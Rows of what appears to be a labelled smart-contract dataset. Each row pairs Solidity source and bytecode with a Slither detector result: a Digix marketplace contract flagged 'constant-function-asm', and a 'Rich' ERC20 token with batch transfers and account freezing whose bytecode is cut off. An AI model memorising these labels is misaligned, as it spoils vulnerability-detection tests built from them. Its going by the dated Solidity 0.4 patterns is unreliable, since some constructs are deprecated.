modifier not_null_address(address _item) {
require(_item != NULL_ADDRESS);
_;
}
modifier if_null_address(address _item) {
require(_item == NULL_ADDRESS);
_;
}
modifier not_null_uint(uint256 _item) {
require(_item != ZERO);
_;
}
modifier if_null_uint(uint256 _item) {
require(_item == ZERO);
_;
}
modifier not_empty_bytes(bytes32 _item) {
require(_item != EMPTY);
_;
}
modifier if_empty_bytes(bytes32 _item) {
require(_item == EMPTY);
_;
}
modifier not_null_string(string _item) {
bytes memory _i = bytes(_item);
require(_i.length > 0);
_;
}
modifier if_null_string(string _item) {
bytes memory _i = bytes(_item);
require(_i.length == 0);
_;
}
modifier require_gas(uint256 _requiredgas) {
require(msg.gas >= (_requiredgas - 22000));
_;
}
function is_contract(address _contract)
public
constant
returns (bool _is_contract)
{
uint32 _code_length;
assembly {
_code_length := extcodesize(_contract)
}
if(_code_length > 1) {
_is_contract = true;
} else {
_is_contract = false;
}
}
modifier if_contract(address _contract) {
require(is_contract(_contract) == true);
_;
}
modifier unless_contract(address _contract) {
require(is_contract(_contract) == false);
_;
}
}
contract MarketplaceAdminController {
}
contract MarketplaceStorage {
}
contract MarketplaceController {
function put_purchase_for(uint256 _wei_sent, address _buyer, address _recipient, uint256 _block_number, uint256 _nonce, uint256 _wei_per_dgx_mg, address _signer, bytes _signature) payable public returns (bool _success, uint256 _purchased_amount);
}
contract MarketplaceCommon is ResolverClient, ACConditions, DigixConstants {
function marketplace_admin_controller()
internal
constant
returns (MarketplaceAdminController _contract)
{
_contract = MarketplaceAdminController(get_contract(CONTRACT_CONTROLLER_MARKETPLACE_ADMIN));
}
function marketplace_storage()
internal
constant
returns (MarketplaceStorage _contract)
{
_contract = MarketplaceStorage(get_contract(CONTRACT_STORAGE_MARKETPLACE));
}
function marketplace_controller()
internal
constant
returns (MarketplaceController _contract)
{
_contract = MarketplaceController(get_contract(CONTRACT_CONTROLLER_MARKETPLACE));
}
}
/// @title Digix's Marketplace
/// @author Digix Holdings Pte Ltd
/// @notice This contract is for KYC-approved users to purchase DGX using ETH
contract Marketplace is MarketplaceCommon {
function Marketplace(address _resolver) public
{
require(init(CONTRACT_INTERACTIVE_MARKETPLACE, _resolver));
}
/// @dev purchase DGX gold
/// @param _block_number Block number from DTPO (Digix Trusted Price Oracle)
/// @param _nonce Nonce from DTPO
/// @param _wei_per_dgx_mg Price in wei for one milligram of DGX
/// @param _signer Address of the DTPO signer
/// @param _signature Signature of the payload
/// @return {
/// "_success": "returns true if operation is successful",
/// "_purchased_amount": "DGX nanograms received"
/// }
function purchase(uint256 _block_number, uint256 _nonce, uint256 _wei_per_dgx_mg, address _signer, bytes _signature)
payable
public
returns (bool _success, uint256 _purchased_amount)
{
address _sender = msg.sender;
(_success, _purchased_amount) =
marketplace_controller().put_purchase_for.value(msg.value).gas(600000)(msg.value, _sender, _sender, _block_number,
_nonce, _wei_per_dgx_mg, _signer, _signature);
require(_success);
}
}
|
0x606060405260043610610083576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806304f3bcec1461008857806315ca65f0146100dd5780633943380c146101885780633f83acff146101b9578063649c07d51461022057806383197ef014610271578063db4ecbc11461029e575b600080fd5b341561009357600080fd5b61009b6102f3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610167600480803590602001909190803590602001909190803590602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610318565b60405180831515151581526020018281526020019250505060405180910390f35b341561019357600080fd5b61019b6104f8565b60405180826000191660001916815260200191505060405180910390f35b34156101c457600080fd5b6101de6004808035600019169060200190919050506104fe565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561022b57600080fd5b610257600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506105c2565b604051808215151515815260200191505060405180910390f35b341561027c57600080fd5b6102846105ec565b604051808215151515815260200191505060405180910390f35b34156102a957600080fd5b6102b1610870565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000339050610328610896565b73ffffffffffffffffffffffffffffffffffffffff1663896ca3f434620927c0903485868e8e8e8e8e6040518b63ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808981526020018873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561046a57808201518184015260208101905061044f565b50505050905090810190601f1680156104975780820380516001836020036101000a031916815260200191505b50995050505050505050505060408051808303818589803b15156104ba57600080fd5b88f115156104c757600080fd5b50505050506040518051906020018051905080935081945050508215156104ed57600080fd5b509550959350505050565b60015481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633f83acff836000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b15156105a057600080fd5b6102c65a03f115156105b157600080fd5b505050604051805190509050919050565b600080823b905060018163ffffffff1611156105e157600191506105e6565b600091505b50919050565b60008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cf3090126000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561067e57600080fd5b6102c65a03f1151561068f57600080fd5b505050604051805190509150811515156106a857600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638da5cb5b6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561073557600080fd5b6102c65a03f1151561074657600080fd5b5050506040518051905090508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561078c57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c8b56bda6001546000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b151561082e57600080fd5b6102c65a03f1151561083f57600080fd5b50505060405180519050925082151561085757600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16ff5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006108c17f633a6d70000000000000000000000000000000000000000000000000000000006104fe565b905090565b6000808273ffffffffffffffffffffffffffffffffffffffff1663cf3090126000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561093557600080fd5b6102c65a03f1151561094657600080fd5b505050604051805190509050600015158115151415610b125730600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550826000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555083600181600019169055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c0f6ef4a600154600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000604051602001526040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083600019166000191681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b1515610ae357600080fd5b6102c65a03f11515610af457600080fd5b505050604051805190501515610b0957600080fd5b60019150610b17565b600091505b50929150505600a165627a7a72305820b5f9769074c431a31af4eefdf27265691316627c294e1efc20c86bbcd30632aa0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}]}}
| 5,335 |
0xe3b192bb07cf2577277ca2161ad8890102765d8a
|
pragma solidity ^0.4.23;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
require(!frozenAccount[msg.sender]);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
require(!frozenAccount[_from]);
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
/**
* @dev Function to batch send tokens
* @param _receivers The addresses that will receive the tokens.
* @param _value The amount of tokens to send.
*/
function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) {
require(!frozenAccount[msg.sender]);
uint cnt = _receivers.length;
uint256 amount = uint256(cnt).mul(_value);
require(cnt > 0 && cnt <= 500);
require(_value > 0 && balances[msg.sender] >= amount);
balances[msg.sender] = balances[msg.sender].sub(amount);
for (uint i = 0; i < cnt; i++) {
require (_receivers[i] != 0x0);
balances[_receivers[i]] = balances[_receivers[i]].add(_value);
emit Transfer(msg.sender, _receivers[i], _value);
}
return true;
}
/**
* @dev Function to batch send tokens
* @param _receivers The addresses that will receive the tokens.
* @param _values The array of amount to send.
*/
function batchTransferValues(address[] _receivers, uint256[] _values) public whenNotPaused returns (bool) {
require(!frozenAccount[msg.sender]);
uint cnt = _receivers.length;
require(cnt == _values.length);
require(cnt > 0 && cnt <= 500);
uint256 amount = 0;
for (uint i = 0; i < cnt; i++) {
require (_values[i] != 0);
amount = amount.add(_values[i]);
}
require(balances[msg.sender] >= amount);
balances[msg.sender] = balances[msg.sender].sub(amount);
for (uint j = 0; j < cnt; j++) {
require (_receivers[j] != 0x0);
balances[_receivers[j]] = balances[_receivers[j]].add(_values[j]);
emit Transfer(msg.sender, _receivers[j], _values[j]);
}
return true;
}
/**
* @dev Function to batch freeze accounts
* @param _addresses The addresses that will be frozen/unfrozen.
* @param _freeze To freeze or not.
*/
function batchFreeze(address[] _addresses, bool _freeze) onlyOwner public {
for (uint i = 0; i < _addresses.length; i++) {
frozenAccount[_addresses[i]] = _freeze;
emit FrozenFunds(_addresses[i], _freeze);
}
}
}
contract RichToken is CappedToken, PausableToken {
string public constant name = "Rich";
string public constant symbol = "RICH";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 0;
uint256 public constant MAX_SUPPLY = 100 * 10000 * 10000 * (10 ** uint256(decimals));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() CappedToken(MAX_SUPPLY) public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint whenNotPaused public returns (bool) {
return super.mint(_to, _amount);
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint whenNotPaused public returns (bool) {
return super.finishMinting();
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner whenNotPaused public {
super.transferOwnership(newOwner);
}
/**
* The fallback function.
*/
function() payable public {
revert();
}
}
|
0x60806040526004361061015f576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461016457806306fdde0314610193578063095ea7b31461022357806318160ddd1461028857806323b872dd146102b35780632ff2e9dc14610338578063313ce5671461036357806332cb6b0c14610394578063355274ea146103bf5780633f4ba83a146103ea57806340c10f19146104015780635c975abb14610466578063661884631461049557806370a08231146104fa578063715018a6146105515780637d64bcb41461056857806383f12fec146105975780638456cb591461061f5780638da5cb5b1461063657806395d89b411461068d578063a65ac9611461071d578063a9059cbb146107de578063ae13efe014610843578063b414d4b6146108b5578063d73dd62314610910578063dd62ed3e14610975578063f2fde38b146109ec575b600080fd5b34801561017057600080fd5b50610179610a2f565b604051808215151515815260200191505060405180910390f35b34801561019f57600080fd5b506101a8610a42565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101e85780820151818401526020810190506101cd565b50505050905090810190601f1680156102155780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561022f57600080fd5b5061026e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a7b565b604051808215151515815260200191505060405180910390f35b34801561029457600080fd5b5061029d610b41565b6040518082815260200191505060405180910390f35b3480156102bf57600080fd5b5061031e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b4b565b604051808215151515815260200191505060405180910390f35b34801561034457600080fd5b5061034d610bd6565b6040518082815260200191505060405180910390f35b34801561036f57600080fd5b50610378610bdb565b604051808260ff1660ff16815260200191505060405180910390f35b3480156103a057600080fd5b506103a9610be0565b6040518082815260200191505060405180910390f35b3480156103cb57600080fd5b506103d4610bf2565b6040518082815260200191505060405180910390f35b3480156103f657600080fd5b506103ff610bf8565b005b34801561040d57600080fd5b5061044c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cb8565b604051808215151515815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d60565b604051808215151515815260200191505060405180910390f35b3480156104a157600080fd5b506104e0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d73565b604051808215151515815260200191505060405180910390f35b34801561050657600080fd5b5061053b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610da3565b6040518082815260200191505060405180910390f35b34801561055d57600080fd5b50610566610deb565b005b34801561057457600080fd5b5061057d610ef0565b604051808215151515815260200191505060405180910390f35b3480156105a357600080fd5b506106056004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190929190505050610f93565b604051808215151515815260200191505060405180910390f35b34801561062b57600080fd5b506106346112d1565b005b34801561064257600080fd5b5061064b611392565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561069957600080fd5b506106a26113b8565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106e25780820151818401526020810190506106c7565b50505050905090810190601f16801561070f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561072957600080fd5b506107c460048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192905050506113f1565b604051808215151515815260200191505060405180910390f35b3480156107ea57600080fd5b50610829600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506117bf565b604051808215151515815260200191505060405180910390f35b34801561084f57600080fd5b506108b360048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290803515159060200190929190505050611848565b005b3480156108c157600080fd5b506108f6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119ba565b604051808215151515815260200191505060405180910390f35b34801561091c57600080fd5b5061095b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506119da565b604051808215151515815260200191505060405180910390f35b34801561098157600080fd5b506109d6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a0a565b6040518082815260200191505060405180910390f35b3480156109f857600080fd5b50610a2d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a91565b005b600360149054906101000a900460ff1681565b6040805190810160405280600481526020017f526963680000000000000000000000000000000000000000000000000000000081525081565b6000600560009054906101000a900460ff16151515610a9957600080fd5b6000821480610b2457506000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1515610b2f57600080fd5b610b398383611b15565b905092915050565b6000600154905090565b6000600560009054906101000a900460ff16151515610b6957600080fd5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610bc257600080fd5b610bcd848484611c07565b90509392505050565b600081565b601281565b601260ff16600a0a6402540be4000281565b60045481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c5457600080fd5b600560009054906101000a900460ff161515610c6f57600080fd5b6000600560006101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d1657600080fd5b600360149054906101000a900460ff16151515610d3257600080fd5b600560009054906101000a900460ff16151515610d4e57600080fd5b610d588383611fc1565b905092915050565b600560009054906101000a900460ff1681565b6000600560009054906101000a900460ff16151515610d9157600080fd5b610d9b8383612072565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e4757600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f4e57600080fd5b600360149054906101000a900460ff16151515610f6a57600080fd5b600560009054906101000a900460ff16151515610f8657600080fd5b610f8e612303565b905090565b600080600080600560009054906101000a900460ff16151515610fb557600080fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561100e57600080fd5b8551925061102585846123cb90919063ffffffff16565b915060008311801561103957506101f48311155b151561104457600080fd5b6000851180156110925750816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b151561109d57600080fd5b6110ee826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240390919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600090505b828110156112c4576000868281518110151561114d57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff161415151561117a57600080fd5b6111e285600080898581518110151561118f57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241c90919063ffffffff16565b60008088848151811015156111f357fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550858181518110151561124957fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a38080600101915050611135565b6001935050505092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561132d57600080fd5b600560009054906101000a900460ff1615151561134957600080fd5b6001600560006101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f524943480000000000000000000000000000000000000000000000000000000081525081565b6000806000806000600560009054906101000a900460ff1615151561141557600080fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561146e57600080fd5b8651935085518414151561148157600080fd5b60008411801561149357506101f48411155b151561149e57600080fd5b60009250600091505b8382101561150f57600086838151811015156114bf57fe5b90602001906020020151141515156114d657600080fd5b61150086838151811015156114e757fe5b906020019060200201518461241c90919063ffffffff16565b925081806001019250506114a7565b826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561155c57600080fd5b6115ad836000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240390919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600090505b838110156117b1576000878281518110151561160c57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff161415151561163957600080fd5b6116b8868281518110151561164a57fe5b906020019060200201516000808a8581518110151561166557fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241c90919063ffffffff16565b60008089848151811015156116c957fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff16